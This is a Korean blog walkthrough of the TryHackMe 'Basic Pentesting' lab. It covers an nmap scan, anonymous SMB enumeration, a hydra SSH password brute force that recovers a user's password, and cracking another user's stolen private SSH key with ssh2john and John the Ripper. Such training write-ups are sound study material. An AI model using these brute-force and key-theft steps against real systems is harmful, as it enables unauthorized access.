Over View
TryHackMe의 Basic Pentesting Machine에 대한 포스팅입니다. 이 Machine은 난이도는 높지 않은 편에 속하는데 중간중간 정보를 얻어 유추하는 과정에서 삽질하는 시간이 많이 들었습니다.
Scanning
# Nmap 7.93 scan initiated Sat Oct 29 18:59:05 2022 as: nmap -sC -T4 -oA scan.log 10.10.88.193
Warning: 10.10.88.193 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.88.193
Host is up (0.25s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
| 256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_ 256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn
445/tcp open microsoft-ds
6009/tcp filtered X11:9
8009/tcp open ajp13
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http-proxy
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
8085/tcp filtered unknown
52848/tcp filtered unknown
Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: basic2
| NetBIOS computer name: BASIC2\x00
| Domain name: \x00
| FQDN: basic2
|_ System time: 2022-10-29T06:00:14-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-time:
| date: 2022-10-29T10:00:14
|_ start_date: N/A
# Nmap done at Sat Oct 29 19:00:52 2022 -- 1 IP address (1 host up) scanned in 107.52 seconds
nmap 수행 결과 22, 80, 139, 445, 8009 포트가 보입니다. 22번 포트는 ssh이기 때문에 사용자 ID나 Password 없이는 접근이 어려울듯 싶습니다. 가장 먼저 시도해 볼 수 있는 건 80port가 열려있으므로 Web(http)를 이용하는 방법과 445port가 열려있으므로 SMB Enumeration을 시도해볼 수 있습니다.
SMB Enumeration
먼저 SMB를 이용해서 정보를 얻어봅시다. 이용할 툴은 smbmap과 smbclient인데 smbclient만으로도 가능합니다. 먼저 smbmap으로 어떤 공유 폴더가 열려있는지 확인해봅시다.
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[+] IP: 10.10.88.193:445 Name: 10.10.88.193 Status: Guest session
Disk Permissions Comment
---- ----------- -------
Anonymous READ ONLY
.\Anonymous\\*
dr--r--r-- 0 Fri Apr 20 02:31:20 2018 .
dr--r--r-- 0 Fri Apr 20 02:13:06 2018 ..
fr--r--r-- 173 Fri Apr 20 02:29:55 2018 staff.txt
IPC$ NO ACCESS IPC Service (Samba Server 4.3.11-Ubuntu)
Anonymous 공유 폴더 밑에 staff.txt 라는 파일이 보입니다. smbclient를 이용해 해당 파일을 다운로드 받아 열어봅시다.
$ smbclient -L \\\\TARGET_IP\\Anonymous
➜ cat staff.txt
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay
다운로드한 staff.txt 파일을 읽어보니 Jan을 위한 메시지를 Kay가 쓴 것 같아 보입니다. 즉 계정명이 Jan, Kay라고 유추해볼수 있습니다. 이 텍스트 파일에는 앞 문자는 대문자로 시작하는 것으로 보아 실제 계정은 소문자로도 존재하는 경우를 생각해볼 수 있습니다.
Hydra - SSH Brute Forcing
SMB에서 얻은 정보를 통해 계정명이 Jan, jan, Kay, kay 이 4가지 중에 하나일 것 같습니다. hydra를 통해 ssh에 brute forcing을 시도해봅니다..
# Jan, jan, Kay, kay 중 `jan` 을 이용함
$ hydra -l jan -P rockyouy.txt ssh://TARGET_IP
...
4가지 경우를 다 시도 해본 결과 id는 jan이었으며 password는 armando임을 알아냈습니다.
John the Ripper, SSH Private key Crack
위 과정에서 jan 말고 kay라는 계정이 존재한다는 것을 알았기 때문에 /etc/home으로 이동하면 kay의 home 디렉터리가 보입니다. 이 디렉터리로 이동 후 .ssh에 id_rsa 즉 kay 계정으로 ssh 접속이 가능한 private key가 존재하는 걸 알 수 있습니다.
/home/kay/. ssh/id_rsa의 내용을 복사해서 ssh2john.py 도구를 이용해 키를 생성할 때 사용했던 평문을 알아내야합니다.
ssh2 john.py에서 hash 값을 추출하고 추출된 hash값에서 패스워드를 얻을 있습니다 그 후에서 진행을 할 때는 ssh로 다시 kay로 ssh를 접속할 때는 kay.rsa 에 600 권한을 주어야 합니다.
END.
이후 pass.bak을 읽게 되면 kay의 password를 알아낼 수 있습니다.
Note
계정 정보를 유추해서 hydra를 거는 것보다 enum4linux라는 툴을 이용하면 보다 정확한 계정을 알아낼 수 있습니다.
enum4linux cheetsheet link. : https://highon.coffee/blog/enum4linux-cheat-sheet/
'Pentest > TryHackMe' 카테고리의 다른 글
[Try Hack Me] : RootMe (0) | 2020.09.28 |
---|---|
[Try Hack Me] : Overpass (0) | 2020.09.28 |
[Try Hack Me] : Blue (0) | 2020.09.28 |
[Try Hack Me] LFI Inclusion (0) | 2020.09.28 |
[Try Hacke Me] Simple CTF (0) | 2020.09.28 |